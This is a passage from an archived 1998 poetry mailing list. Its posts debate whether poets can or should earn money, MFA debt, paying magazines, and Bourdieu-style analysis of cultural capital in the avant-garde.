
Thus poetry is less "enslaved" as an activity, and is absolutely enslaved. Its unique relation to words (and thus ideas and thus politix, and politics' violent connection to human happiness) melds with its uniquely decommodified status in history, to give it an interesting fluidity and an intense fire.

To create what Perelman calls "social location" is what poets outside academe and the workshops are usually trying to do: social location refers not to the content of the work, but to the context of the working. Where is the poet (and poetry) "sited"? Delivery systems interest poets as much as meters; they are a part of the work. (thus the attention given activities like poetry slams etc. Terrible dreck, in fact. But in one sense aware of what the right questions are, if not the right answers...)

m.

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364. morpheal

Re: the behavior of falling bodies [follows an alchemy of gunpowder]

Fri 12 Jun 1998

> *"The mystic "sees the world in a grain of sand," and the world which he sees is either moral or aesthetic, or both. The Newtonian scientist sees a regularity in the behavior of falling bodies and claims to draw from the regularity no normative conclusions whatsoever. But his claim ceases to be consistent at the moment that he preaches that this is the right way to view the universe. To preach is possible only in terms of normative conclusions."---Gregory Bateson*

Newton's contributions considerably furthered the science of "ballistics". Predictable regularity as to falling bodies meant being on target.

What is interesting is not as much Newtonian science, but rather Newton's copious expositions on biblical Revelations. Any contention that Newton did not have a strong desire to preach would be in error. Any contention that Newton did not feel that he was a privileged initiate into occult knowledge and secret traditions, is also likely to be as wrong.

M.

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365. William Burmeister Prod

Re: "I know men [sic] for whom everything matters"

Fri 12 Jun 1998

> *I get a little nervous with the suggestion that poetry returns us to the imagination, to the mind or the prison house of language.*

Poetry returns us to the real--did not suggest otherwise--but it is ingenuous, or even naive to think that it ultimately does otherwise than engage the imagination, the mind, or language. We will find that things "real," things as they are, or may be, did not exist for us where we thought to find them. It is not in consensus. The social, relativistic body of the world makes an affectation of the mind and spirit that is not real, but rather an artifice for survival. My feet are in "this world" though: I love a broken glass poem as much as the next person.

Count me behind bars then. You're there too running a tin cup across the bars in protest. So's comrade Kristeva--whistling in the dark.

William

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366. **k. lederer**
Magazines that pay
Fri 12 Jun 1998

Re: Chris's question:

ZYZZYVA, The New Yorker, Threepenny Review, Georgia Review, The Nation, Harper's, hmmm, I believe: APR, Conjunctions (?)... The Paris Review for sure, The Boston Review.... and so on.

.....

I guess what I'm trying to say is that quite a number of people make a living off of poetry (poetry professors--both practitioners and critics; people who work for poetry foundations, editors etc...). There is an economy that goes along with poetry....

There is also a very yukky underbelly that goes along with this: the large numbers of recent MFA graduates who are $10,000, $20,000 and even $30,000 in debt because of their degrees.

The fact that so many 25-year-olds seem to be beginning their poetry "careers" in such debt is disconcerting to say the least . In order to get out of debt such young poets have to get serious jobs that really pay.

I've heard that there used to be a time when younger poets could "study" with older poets for free.

Best,
Katy

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367. **toddbaron**
Re: "I know men [sic] for whom everything matters"
Fri 12 Jun 1998

Standard:

agreed--as "music"-does it "make something happen"? or as Zukofsky "Poetry is dervied from everyday life...real or ideal.." and thus... it's not the imagination--which is said to be the "useless" thing--say--at a factory--or Kristeva's "prison house" that does anything

it's Blaser's image/nation

Get Nervous.

When I hear the word gun, I reach for my culture..

Tb
--
REMAP

--

↑ Index

368. **toddbaron**
Re: mla reference (fwd)
Fri 12 Jun 1998

---

one of Brautigan's last books was "on zen" though
the booze and shotgun got in the way...

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369. **Henry G**
po squared
Fri 12 Jun 1998

If Mark Prejnar's right & poetry is not a commodity (I think he's right) this casts all po-biz in a strange light; but poetry itself is so rare & unusual (in my opinion) that when it shows up it casts politics too in a strange light of its own, as well as criticism, etc. Not that it's "above" everything - it's just unusual; these people who demand pay for their work like other "workers" - I doubt it's even poetry as I understand it. Poetry casts an energy of its own which is highly political and makes things happen both in the mind and in culture in general; the poet's style is a function of deeply political motivations, conscious & subconscious; the project of poetry goes more and more into poetry but there's no culture at all without some kind of shared consciousness or mass opinion or mass development in confrontation with global circumstances; the artist listens to the crowd & takes the crowd's pulse on a profound level, while pursuing private & individual impulses of craft, self-knowledge, truth... this is how it seems to me anyway on both a "serious" & a "playful" plane... the poet is a politician in love with words for their own sake... - Henry G

↑ Index

370. **Billy Little**
Re: doxa, sophia, and paranoid debt obsession
Fri 12 Jun 1998

---

thank you matias,
very well thought and stated, don't deprive us of your oxygen.

and katy: the more you owe, the more they'll let you borrow, they want you to keep paying not go bankrupt, errol flynn like to say, (in 1950 dollars) "anybody who died and didn't owe ten thousand dollars was a sucker." don't obsess about your debt, make it bigger, the more you borrow, and circulate, you're putting people to work, spend your savings, the multinationals get their clout largely from how much they owe

↑ Index

371. Chuck Stein
money and anarchy
Fri 12 Jun 1998

Just to put this into the mash on anarchy: that Robert Duncan identified himself rather profoundly with anarchism--in fact there was a friendship between him and Jackson Mac Low, which you might think perhaps an unlikely connection--based on this.

Here is a brief poem of my own from a "deck" of poems abusing Rachel Pollack's "Shining Woman Tarot" (her deck has stones in place of coins) that attempts an agitation perhaps obscurely on the subject:

Two of Stones

Stones
will not be trifled with.

In them
are numbers
claimed and bound.

Money

has an Enemy.

Chuck Stein

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372. Christopher W. Alexander
Re: Radio Bowering
Fri 12 Jun 1998

Doug Barber sez:
> but then what would we expect from Salt Lake City...?

> ugh ugh ugh ugh ugh ugh ugh ugh ugh ugh ugh ugh ugh ugh

> or, in the words of our hero: "stay back, it's a trap!"

chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted] / [redacted] snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402 press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/ **site temporarily unavailable**

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373. s. kaipa
Money in Poetry
Fri 12 Jun 1998

Hi Katy & All,

I've been following the stuff on the list regarding poets and the ways that they do/don't make money.

So, there might be money in poetry, but it doesn't seem to be coming my way. Most of us poets probably feel this way.

So--the stock market? Yesterday, a grad student and a computer science professor from Berkeley who have created a web browser opened their stock on the market at $16. It closed at $40.

Part of me--the poor poet part--feels like I need to just learn to be stock-market savvy and get in on the money. The other part of me--the "can't sell out" poet in me--feels like there is something not quite right about poets who play stocks.

Anybody out there play stocks? If so, do you feel like poetry should not be involved in this sort of "capitalist" aspect of our culture?

Summi

P.S. Sorry this message sounds so much like a "dear Abby" but my concerns are genuine.

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374. louis stroffolino
seedy underbelly
Fri 12 Jun 1998

hi katie--
"to be (professional) or not to (be) professional,
that is the question"
hey, have you ever read that WORDSWORTH section

near the end of the prelude where he writes
so eloquently (which is a kind of comedy)
about how he met his patron, or his first patron,
(baby's first patron),and how he got money--
it's, of course, "unrealistic"
yet no more than any poem or movie--
anyway, it fascinates (or haunts) me...
(this reading suggestion is going to cost
you 100 flowers--
though it's be best if you waited
till after pollen season)...
anyway, i am with you in rockville
("one day he gives us gold the next day stones"
timon of athens)
but be glad you got the rent deal you got
and a job upon arrival
(maybe you can keep that cash nexus at bay
and pray that i win the slam
i mean pass that job interview next week
-- it's not a moral objection to the stock market
nor to moshing for that matter
.....
(i like the sheila murphy stuff too
thanks for your effusiveness gary....)

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375. **Brent Long**
Re: Money in Poetry
Fri 12 Jun 1998

Interesting post, Summi. I don't personally play stocks, but might say that they and poetry do not have a direct connection to one another (unless you are damn good at stocks and can therefore finance your own publication/promotion).

However, I do think that your question poses other interesting points to ponder. It seems to me (from observing the few people I know who are making a living at their craft) that much of the success can be attributed to being at the right place at the right time, as well as to who you know, in addition to being adequate in skill. (Sounds alot like the stock market to me.)

Perhaps the thing to do is to amass a fortune in the market, use your power to influence famous writers, and then capitalize on that friendship. Rememeber, there are no set "rules" for fair play in the world of money (and if you have paid

any attention to the posts of the past few weeks here, not in the world of Poetics either.)

In jest,

Brent

At 01:30 PM 6/12/98 -0500, you wrote:
>Hi Katy & All,
>
>I've been following the stuff on the list regarding poets and the ways
>that they do/don't make money.
>
>So, there might be money in poetry, but it doesn't seem to be coming my
>way. Most of us poets probably feel this way.
>
>So--the stock market? Yesterday, a grad student and a computer science
professor
>from Berkeley who have created a web browser opened their stock on the
>market at $16. It closed at $40.
>
>Part of me--the poor poet part--feels like I need to just learn to be
>stock-market savvy and get in on the money. The other part of me--the
>"can't sell out" poet in me--feels like there is something not quite
>right about poets who play stocks.
>
>Anybody out there play stocks? If so, do you feel like poetry should not
>be involved in this sort of "capitalist" aspect of our culture?
>
>Summi
>
>P.S. Sorry this message sounds so much like a "dear Abby" but my concerns
>are genuine.
>
>

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376. William Burmeister Prod
Re: Money in Poetry
Fri 12 Jun 1998

> *Anybody out there play stocks? If so, do you feel like poetry should not be involved in this sort of "capitalist" aspect of our culture?*

I do remember that Lavoisier (though not a poet) got 'tined for doing only as much.

William

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377. R. Gancie
"Where does the skin end?"---A.N. Whitehead
Fri 12 Jun 1998

"In a pervasive change of the cultural mind in the seventeenth century, a complex descriptive model was substituted for nature, so something in the model corresponded to everything in nature. The model was a formal system or linguistic machine--in contemporary jargon, a computer program. It was assumed that the world consists of a few types of simple objects--atoms of some kind, some limited and enumerable set of simple things, that can be represented by linguistic tokens--and a finite set of specifiable rules by which these tokens can be combined. Thus, the rules can be applied to the tokens; and linguistic models of the world, corresponding point by point to the physical world, can be created. "To understand a phenomenon," thus means "to be able to construct a corresponding linguistic machine." Of course, if the model corresponds precisely to the original, it is not clear what has been gained. The locus of the object is changed. Humans seem to feel that the model, being a "human thing," as it were, is more understandable than the world itself."---from The Poetics of the Common Knowledge by Don Byrd --- "The essential idea is very simple. Inside all hadrons are smaller particles called quarks. The rules say that they are permitted to stick together in one of two possible ways, either in trios or in quark-antiquark pairs. Combinations of three obviuosly produce heavier particles, and these are called baryons, meaning the 'heavier ones'. The best known baryons are the neutorn and proton....."---from Superforce by Paul davies---[It was assumed that the world consists of a few types of simple objects...Byrd] --- "It seems that people have a deep psychological need to reduce all reality to simple, easily digested images. When something, such as a wave-particle, crops up that has no counterpart in direct experience, bewilderment or even outright scepticism, results.---Davies --- "As long as he [the physicist] can use the quantum machine to describe and predict the results of his experiments, the average physicist is like the average car owner: He doesn't care [read GIVE A RAT'S ASS] what makes the magic work."---from Paradigms Lost by John Casti --- "...the point being, substitiute 'mathematical' for 'linguistic' in Don Byrd's statement and you arrive at the state of affairs in quantum theory. Mathematical because of 'OUR [supposedly physicists are not excluded] deep psychological need to reduce all reality to simple, easily digested images' which quantum will not allow."---cp. And my apologies to Kent Johnson for not reading his E-mail more

closely. And thanks to Dave Bouchard for his marvelous efficiency in quoting the Wilfred Owen poem. And, of course, there is that old fart, Paul Fussell, and his book The Great War in Modern Memory.

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378. MAXINE CHERNOFF
Looking for the address
Fri 12 Jun 1998

I need the snail mail address of Pam Brown in Australia. Can someone supply it for me? (Pam, are you out there?)

Best,

Maxine Chernoff

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379. P.Standard Schaefer
Money in Poetry, Poetry in Money
Fri 12 Jun 1998

I'm a little baffled by all this concern about money and poetry which strikes me as a bit superficial.

First of all, anyone who hopes to make a living knows that poetry is not the most efficacious way to do this. People who go into the literary field hoping to make a living probably, in a sociological analysis, would prove to belong to group with inherited cultural capital (say the children of academics for who education is extremely important). These people then go get their degrees, their book deals, tenure, etc., in order to main the relative positions of dominance they are born into.

Another way to say this is that artists (no matter what their political orientation) are belong to a dominated fraction of the dominant class...dependent on those who have economic capital.

The social function of art whether we like it or not is very likely to be one of creating distinction to those for whom economic distinction is not so important (the rich who have it already, and the poor who don't expect to have it). Aren't these people in their various writing programs just trading their economic capital for cultural capital? Katy has already shown how those who expect to get paid see it as a mark of legitimacy.

Third, there is a very strong connection between poetry and stocks. In the past it has been called ideology (althusser), then disciplinary (foucault's discourse), lately it has been called "control society" by Virilo, Deleuze. Whatever the name

or form, the effect is an interiorized schemata which contains the the thoughts, perceptions, and actions available to a culture...and only these actions. (Bourdieu's habitus, somewhat like Chomsky's generative grammar).

Poetry and stocks: one thing I know about people who profess an interest in the America avant-garde is they get very uncomfortable when it is drawn to their attention how much inherited, economic capital is behind the people with the most cultural captial (degrees, publications, academic positions, presses) in the comunity, many of whom are the biggest pontificators about politics/poetry/language-- I can think of at least five big guns who have never had to work for a living...three of which have their own presses. These people, of course, use their money and their prestige to define good taste (and it tacitly accepted by those excluded from legitimate culture).

Challenges to artistic conventions could very easily be seen as struggles for legitimacy among members of groups. My hunch is that these challenges almost never reveal the relations, struggles behind the notions of art (the degree to which taste is dictated by those with the most economic and cultural capital). Even when they speak about these relations, there is a tendency to ironize them in such a fashion as to make the issue highly ambiguous. They simple oppose a dominated culture to a dominant one creating a cultural avant-garde which by its very existence contributes to the discourse on legitimacy.

Well, those are my thoughts today. Anyone who can show me a way of this...well, I'd gladly appreciate it.

Standard Schaefer

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380. **ken|n|ing**

Re: Open Fan Letter to Sheila E. Murphy

Fri 12 Jun 1998

Sheila, mah butt is sore from where this new series of yours has been keekin'
it . . . relentlessly . . . all morning! . . . and, I'm sorry if being effusive
like this is embarrassing for you. . . but, WOW, what am I supposed to do? Read
this stuff & just sit here, turd-like, nodding my head, goin' "yeah . . . sure
. . . okay . . ." -- I mean, sorry, no way . . . I'm totally thrilled by this .
. . hummallah hummallah . . . peoples, you gotta git this book, MAQUETTE PRESS,

3 South Street, Sheepwash, Beaworth, Devon, EX21 5LZ, U.K. . . 2.50 pounds
. .
. (six bucks, USA?) . . . anyway . . . okay . . . I'm totally embarrassed
now .
. . gotta shut up already . . . thank you thank you thank you . . .

[[[[I would simply like to second that emotion & toot my own horn insofar as I'll be publishing a new, long poem by Sheila Murphy in the autumn & winter issues(serially) of Kenning. Summer issue due soon.

Frankly, I find Sheila to be one of the more engrossing authors publishing in little magazines & hope this chapbook sets a precedent.

Patrick F. Durgin]]]]
|
|
k e n n i n g```|```
a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

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381. **ken|n|ing**
Re: Magazines that pay
Fri 12 Jun 1998

On Fri, 12 Jun 1998, k. lederer wrote:

> *The fact that so many 25-year-olds seem to be beginning their poetry "careers" in such debt is disconcerting to say the least . In order to get out of debt such young poets have to get serious jobs that really pay.*

Katy, sure, and that provisional term, career, has me wondering. I tend to subscribe to the notion that poet=scholar, but at the same time doubt whether academic=scholar. Whether there is what could even remotely be construed as a career in poetry would seem to depend upon a much more vital question being raised and then jettisoned on this very list, under the rubric of "Anarchy" and "Marx & Myth", etc.

>
> I've heard that there used to be a time when younger poets could "study"
> with older poets for free.
>

See Laughlin & Pound? I beleive what these cats were up to was a great deal different than the MFA scene we have today, not that you need to be told that. It's too easy to construe academic or weekend poetasters

as swindlers. It makes sense that much of that thouroughly dis-engaged verse should come with a certain price tag. It's entertainment fer chrissakes! It makes just as much sense that really vital work comes from the peripheries, where, f*ck it all, it will be written and disseminated despite the careerist trappings of "the writer".

Spiritedly,
Patrick F. Durgin

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382. ken|n|ing
Re: Money in Poetry, Poetry in Money
Fri 12 Jun 1998

For those of us who haven't read this, or w/read this, or agreed with this and therefore don't want to read this again; READ this AGAIN PFD

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                    |
k e n n i n g``````````````|```````````````````````````
a newsletter of contemporary |poetry,  poetics,  and  non-fiction writing
                    |418 Brown St. #10  Iowa City, IA 52245  USA
```

On Fri, 12 Jun 1998, P.Standard Schaefer wrote:

> *I'm a little baffled by all this concern about money and poetry which strikes me as a bit superficial.*
>
> *First of all, anyone who hopes to make a living knows that poetry is not the most efficacious way to do this. People who go into the literary field hoping to make a living probably, in a sociological analysis, would prove to belong to group with inherited cultural capital (say the children of academics for who education is extremely important). These people then go get their degrees, their book deals, tenure, etc., in order to main the relative positions of dominance they are born into.*
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> *Another way to say this is that artists (no matter what their political orientation) are belong to a dominated fraction of the dominant class...dependent on those who have economic capital.*
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> *The social function of art whether we like it or not is very likely to be one of creating distinction to those for whom economic distinction is not so important (the rich who have it already, and the poor who don't expect to have it). Aren't these people in their various writing programs just trading their economic capital for cultural capital? Katy has already shown how those who expect to get paid see it as a mark of legitimacy.*
>
> *Third, there is a very strong connection between poetry and stocks. In the*

> *past it has been called ideology (althusser), then disciplinary (foucault's discourse), lately it has been called "control society" by Virilo, Deleuze. Whatever the name or form, the effect is an interiorized schemata which contains the the thoughts, perceptions, and actions available to a culture...and only these actions. (Bourdieu's habitus, somewhat like Chomsky's generative grammar).*
>
> *Poetry and stocks: one thing I know about people who profess an interest in the America avant-garde is they get very uncomfortable when it is drawn to their attention how much inherited, economic capital is behind the people with the most cultural captial (degrees, publications, academic positions, presses) in the comunity, many of whom are the biggest pontificators about politics/poetry/language-- I can think of at least five big guns who have never had to work for a living...three of which have their own presses. These people, of course, use their money and their prestige to define good taste (and it tacitly accepted by those excluded from legitimate culture).*
>
> *Challenges to artistic conventions could very easily be seen as struggles for legitimacy among members of groups. My hunch is that these challenges almost never reveal the relations, struggles behind the notions of art (the degree to which taste is dictated by those with the most economic and cultural capital). Even when they speak about these relations, there is a tendency to ironize them in such a fashion as to make the issue highly ambiguous. They simple oppose a dominated culture to a dominant one creating a cultural avant-garde which by its very existence contributes to the discourse on legitimacy.*
>
> *Well, those are my thoughts today. Anyone who can show me a way of this...well, I'd gladly appreciate it.*
>
> *Standard Schaefer*

↑ Index

383. **Schuchat Simon**

Re: Magazines that pay

Fri 12 Jun 1998

On Fri, 12 Jun 1998, k. lederer wrote:

> *I've heard that there used to be a time when younger poets could "study" with older poets for free.*

well, I studied with older poets for free (unless you count a few sixpacks of pepsi and boxes of donuts) not so long ago and, assuming the older poets have the time, I suspect it is still possible. of course, I didn't do it in beautiful Iowa City, and I have friends who studied with the same older poets who did have to

pay (or the GI bill paid or something like that), but they got to live in Iowa City and meet Marvin and Donald along with the poets they wanted to study with.

↑ Index

384. Laura E. Wright
Re: FW: Shakespearian Insult Kit
Fri 12 Jun 1998

Didn't John Cage say this already?

henry g wrote:

--
Laura Wright
Library Assistant, Naropa Institute
[redacted]

"All music is music..." -- Ted Berrigan

↑ Index

385. Erik Sweet
Re: Magazines that pay
Fri 12 Jun 1998

---

go patrick go.

↑ Index

386. George Bowering
Re: Anarchy
Fri 12 Jun 1998

> *I know some younger poets who will only submit work to magazines that pay... (I know this sounds crazy.... it has something to do with what they perceive as a heightened prestige...).*

Reagan has won!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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387. **morpheal**
Re: the economics of tambourine lives
Fri 12 Jun 1998

> *well i dont know if ted berrigans view that the poet is always*
> *doing poetry "TAKES THE WRITER OUT OF THE CASH NEXUS"*
> *(so that's the phrase to play with---"chew on"--for "awhile"....)*
> *money plays a role, "has a presence", in tb's work,*
> *and i don't think it's just the villianous cash nexus one*
> *is glad to be taken out of.....*
> *chris*

Aside: I seem to recall, from what I believe was a reading of Ted Berrigan's first book of poems, that he felt that being a poet simply was not one of the options offered by American society to an American man.

The book was full of interesting clues as to what made him say that.

As far as I could tell the legitimate options were limited to soldier, businessman or factory worker.

M.

↑ Index

388. **henry gould**
Re: Money in Poetry, Poetry in Money
Fri 12 Jun 1998

On Fri, 12 Jun 1998 16:21:18 EDT P.Standard Schaefer said:
>
>First of all, anyone who hopes to make a living knows that poetry is not the
>most efficacious way to do this. People who go into the literary field hoping
>to make a living probably, in a sociological analysis, would prove to belong
>to group with inherited cultural capital (say the children of academics for
>who education is extremely important). These people then go get their
>degrees, their book deals, tenure, etc., in order to main the relative
>positions of dominance they are born into.

Aren't such sociological analyses skewed when "hoping to make a living"
is a synonym for "wishful thinking based on supposed literary talent"?
I mean, these "children of academics" sound like abstractions. NOBODY hopes
to make a living at it without foolish ambition & literary dreams of glory.
Maybe I'm wrong but I can't believe it is EVER a matter of some kind of
social calculation. Am I being naive again?

>
>The social function of art whether we like it or not is very likely to be one
>of creating distinction to those for whom economic distinction is not so
>important (the rich who have it already, and the poor who don't expect to have
>it). Aren't these people in their various writing programs just trading their
>economic capital for cultural capital? Katy has already shown how those who
>expect to get paid see it as a mark of legitimacy.

But why bother to call that art? That's the primary mistake of this kind of "analysis". It's not poetry you're talking about. I mean why dignify it with the name?
>
>Third, there is a very strong connection between poetry and stocks. In the
>past it has been called ideology (althusser), then disciplinary (foucault's
>discourse), lately it has been called "control society" by Virilo, Deleuze.
>Whatever the name or form, the effect is an interiorized schemata which
>contains the the thoughts, perceptions, and actions available to a
>culture...and only these actions. (Bourdieu's habitus, somewhat like
>Chomsky's generative grammar).

Is this the poetry of sociology? The control of control. Bites its own tail. They'll figure it out at the Sorbonne someday (tenured, of course).
>

> *Challenges to artistic conventions could very easily be seen as struggles for legitimacy among members of groups. My hunch is that these challenges almost never reveal the relations, struggles behind the notions of art (the degree to which taste is dictated by those with the most economic and cultural capital). Even when they speak about these relations, there is a tendency to ironize them in such a fashion as to make the issue highly ambiguous. They simple oppose a dominated culture to a dominant one creating a cultural avant-garde which by its very existence contributes to the discourse on legitimacy.*

This seems true & only increases the mystery around the question : where's the poetry??
- Henry Gould

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389. charles alexander
Re: Magazines that pay
Fri 12 Jun 1998

Sulfur pays, too.

At 09:26 AM 6/13/98 -0000, you wrote:
>>Re: Chris's question:
>>
>>ZYZZYVA, The New Yorker, Threepenny Review, Georgia Review, The Nation,
>>Harper's, hmmm, I believe: APR, Conjunctions (?)... The Paris Review
>>for sure, The Boston Review..
>
>Gettysburg Review, Poetry, Seneca Review (?)
>
>Anthony
>
>
>
>.....
>Anthony Lawrence
>PO Box 75
>Sandy Bay
>Tasmania 7006
>
>
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
http://alexwritdespub.com/chax

↑ Index

390. **k. lederer**
Re: Magazines that pay
Fri 12 Jun 1998

I just wanted to clarify something....

I think that teaching is a terrific thing to do.... teachers are terrific....

And I don't think that it necessarily sullies a writer's work if he or she teaches (either politically or aesthetically)....

I just wish that people were thinking a little harder about what's happening vis-a-vis the plethora of first-book prizes... (the fact that younger poets are paying out the ears so that the occassional big press will publish a first book)... and about the debts that are being accrued by younger writers who, perhaps, can't figure out any other way to find a writing community or the time to write...

Best,
Katy

↑ Index

391. George Bowering
Re: Anarchy
Fri 12 Jun 1998

> *Are there people on this discussion list who accept*
> *copies of a magazine in lieu of cash? Who accept publication only?*
> *Who publishes only in magazines that pay a lot? Hands up.*
>
> *Anthony*

Sometimes I say no to magazines or anthologies that promise money, and sometimes I say yes to magazines that offer only copies.

To me the company of other writers is the main point.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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392. George Bowering
Re: Money and Poetry
Fri 12 Jun 1998

> *Lets face it, money helps pay bills,*
> *but poetry as well as music in all reality (unless you are Jewel 1.7 million*
> *for her book of poems)*

Jewel who?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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393. George Bowering
Re: Radio Bowering
Fri 12 Jun 1998

> *Um George*
>
> *You do mention Salt Lake City radio & I know you love Ornette, but the line in the poem is "Gerry Mulligan meets Stan Getz" (but then what would we expect from Salt Lake City...?*

Oh yeah! Now I remember. But also Bowen did play Ornette in the late fifties, and he was the first disk jockey I remember doing that. Also he and Frank Davey were the first 2 people I heard of who had an MG6. So when people laugh at the idea of the New Orleans Jazz moving to SLC and keeping their name, I remember Bowen.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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394. Rachel Loden
bozos on this bus
Fri 12 Jun 1998

Patrick Pritchett wrote:

> *Tom Mandel was right - where's the bozo filter when you need one?*

Check out the bozo filters on Netscape 4 (which by the way is free for download at their site). Go to the edit menu and select Mail Filters. It's easy as pie and you can pick your own bozos. Highly recommended, and (as Hendrix said) "you'll never hear surf music again"--

Rachel Loden

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395. k. lederer
Re: Money in Poetry, Poetry in Money
Fri 12 Jun 1998

Esp. Henry,

I don't quite see how you arrived at the statement "why bother to call that poetry"--as in, just because someone accepts money for their poetry--or is concerned with such things--does this necessarily disqualify it as art?

Does poetry have its own special rules? What about painters and fiction writers who sell their art? Is the work of F Scott Fitzgerald un- or anti-artistic because he thought so much about money? Fitzgerald conceived of The Great Gatsby as his "canonical" work.... when it was panned by the critics, he was devastated....

Is Stein's work worse for the fact that she could afford to spurn the academy and the critics (due to her independent wealth)? Or Better?

Is Dickinson's?

It would seem that Berrigan's financial state buttressed his aesthetic aims--did Eliot's?

Crane?

I think it's too easy to simply dismiss work by people who are concerned with money and/or prestige....

Best,
Katy

↑ Index

396. **P.Standard Schaefer**
Re: Money in Poetry, Poetry in Money
Fri 12 Jun 1998

In a message dated 98-06-12 19:50:57 EDT, you write:

<< Aren't such sociological analyses skewed when "hoping to make a living" is a synonym for "wishful thinking based on supposed literary talent"? I mean, these "children of academics" sound like abstractions. NOBODY hopes to make a living at it without foolish ambition & literary dreams of glory. Maybe I'm wrong but I can't believe it is EVER a matter of some kind of social calculation. Am I being naive again >>

Absolutely not. Bourdieu is actually most specific and if you read his books you will see that he spells out with many actual naive statements by various people who are not abstractions...it would also be clear how it does not require any social calculation...that happens to be why I mentioned Althusser...because he explains why how ideology works on an unconscious level.

SS

↑ Index

397. **charles alexander**
Re: the economics of tambourine lives
Fri 12 Jun 1998

> *Aside: I seem to recall, from what I believe was a reading of*
> *Ted Berrigan's first book of poems, that he felt that*
> *being a poet simply was not one of the options offered*
> *by American society to an American man.*

While growing up in America (mostly in Oklahoma) I certainly never encountered the possibility that one might actually be a poet. I would think that if one grew up with a strong sense that it was an option in American society, that would be quite unusual. I think in my family the options were more like: teacher, soldier, businessman, laborer, clerical worker, administrator, and perhaps a few others, possibly even writer, but definitely not poet.

> *The book was full of interesting clues as to what made*
> *him say that.*
>
> *As far as I could tell the legitimate options were*
> *limited to soldier, businessman or factory worker.*
>
> *M.*

↑ Index

398. **charles alexander**
Re: Magazines that pay
Fri 12 Jun 1998

> *and about the debts that are being accrued*
> *by younger writers who, perhaps, can't figure out any other way to find a*
> *writing community or the time to write...*

Is anyone under the illusion that it's only "younger writers" who carry a great deal of debt; this is true even of many poets I know who have found a writing community, and it's certainly not only true of poets and artists in our current economy. And it has nothing to do with somehow losing their money by giving it toward first book prizes. It's more a fact of their existing on extremely small incomes, sometimes with growing families, yet continuing to make it a priority to 'buy' (with what? is sometimes a question) time for writing.

charles

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399. linda russo
Re: Magazines that pay
Fri 12 Jun 1998

hi katy & all -- katy could you clarify some more? I'm interested in this comment; I'd like to talk and hear talk about this, but I want to make sure i'm hearing you right . . .

> *I just wish that people were thinking a little harder about what's happening vis-a-vis the plethora of first-book prizes... (the fact that younger poets are paying out the ears so that the occassional big press will publish a first book)... and about the debts that are being accrued by younger writers who, perhaps, can't figure out any other way to find a writing community or the time to write...*

who are the "people" who you wish were thinking harder (= younger poets? contest administrators? etc). You are obviously thinking harder, putting a lot of energy into creating a print community -- is it that you wish that this alternative forum (small press, which offers no such incentives as book prizes, etc.) was in some sense more legitimate in the eyes of your peers? In other words, is this (in part) a generational problem? Or, extending that, do you wish that we could construct a whole other (non-academic) forum to study "free"?

Linda Russo
* @ * % * & * # *

with only the sound of the mimeograph "kachucking"
and the pages swishing down . . . (Maureen Owen)

↑ Index

400. linda russo
Re: Money in Poetry, Poetry in Money
Fri 12 Jun 1998

Thanks Patrick Durgin -- I did read it twice! The first time very critical of Standard Schaefer's generalizations -- it works "in theory" -- but in "reality"? The second time agreeing with it all in theory. please, allow me to explain:

> *They simple oppose a dominated culture to a dominant one creating a cultural avant-garde which by its very existence contributes to the discourse on legitimacy.*
>
> *Well, those are my thoughts today. Anyone who can show me a way of this...well, I'd gladly appreciate it.*

the way out is through the door -- i mean there is no way out in this Derridean bind Standard points out. I'm assuming that since he wants to be shown the door he sees the "legitimizing system" as a problem. But I wonder to what

extent it's an intellectual problem *only* -- an "artificial" problem (well, the whole system is artificial) "created" via theorizing it as a problem? If people can access economic and social alternatives in what ever communities they tap into for support, then this seems to me to be an intellectual (and therefore ethical?) problem.

> *Aren't these people in their various writing programs just trading their economic capital for cultural capital? Katy has already shown how those who expect to get paid see it as a mark of legitimacy.*

or rather, "investing" -- because they still come out with economic capital. But, in "reality", a lot of people trade econimic capital for shit (though anything can be construed as cultural capital) or to meet Bill Knott who's an amazing poet and teacher but who doesn't have a lot of (current) cultural capital. (Is his performative cultural capital -- it only grants me capital when I claim it & only to a certain community? No -- All captial is performative, hence the resume. I'm just arguing with myself here -- don't really have an answer) . People trade or invest econ capital with or in writing programs for lots of reasons. Always, community -- whether to have people around the seethe enviously when you win the prize, or to maybe hang out and talk poetry -- well that depends on a number of factors and especially what values the institution puts forth in its choice of faculty & students, how it awards funding, what sorts of pedagogy & dialogue it constructs, etc

I'm sounding like an advocate for writing programs, but actually I'm not. I don't think there's a one out there that doesn't think primarily about the bottom line. I'd much rather have camped out on Bill Knott's lawn, if he'd chosen to surround himself with such luxury.

still, the way out is through the door. The question is, which door? and do we need some new doors? regardless of how complicit they are in the system of legitimacy since we seem to have no choice.

thanks for hearing me out.

Linda Russo
* @ * % * & * # *

with only the sound of the mimeograph "kachucking"
and the pages swishing down . . . (Maureen Owen)

↑ Index

401. **Jacques Debrot**
Re: Money in Poetry, Poetry in Money
Fri 12 Jun 1998

Henry as usual is quite acute, however it strikes me that to counter Standard's skepticism about the ideological dimension of poetry with merely an assertion of the "mystery" of art & (here I'm putting words in his mouth) its capacity to transcend institutional/cultural contradictions is not really an adequate response. Moreover, aligning Bourdieu, as Henry does, with the academy is a cheap shot given B's consistent criticism of the French academic system in works such as _Homo Academius_, and his long association with the marginalized Ecole des hautes Etudes. What, Standard is asking, are the social conditions of poetry? It's a question worth addressing I think, before dismissing it. There is, I've found, a tendency in this venue for people to become somewhat sanctimonious about art. & I'm afraid this is reflected in alot of the new poetry I see -- Ron Silliman's criticism a few months back about the prevalence of the abstract lyric seems to me, in hindsight, quite legitimate -- it is numbingly ubiquitous. To what extent does it conspire with the taste of those with the most cultural/economic capital? -- even if, granted, it is in a form that they would not immediately recognize. As much as I've enjoyed the spate of new anthologies in the last several months, I also find myself asking if there is a connection between the diversity of poetries presented in most of these collections -- take for example the recent New (American) Poets antholgy -- & the politically neutralizing pluralism of contemporary American culture?

--jacques

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402. **Karen Kelley**
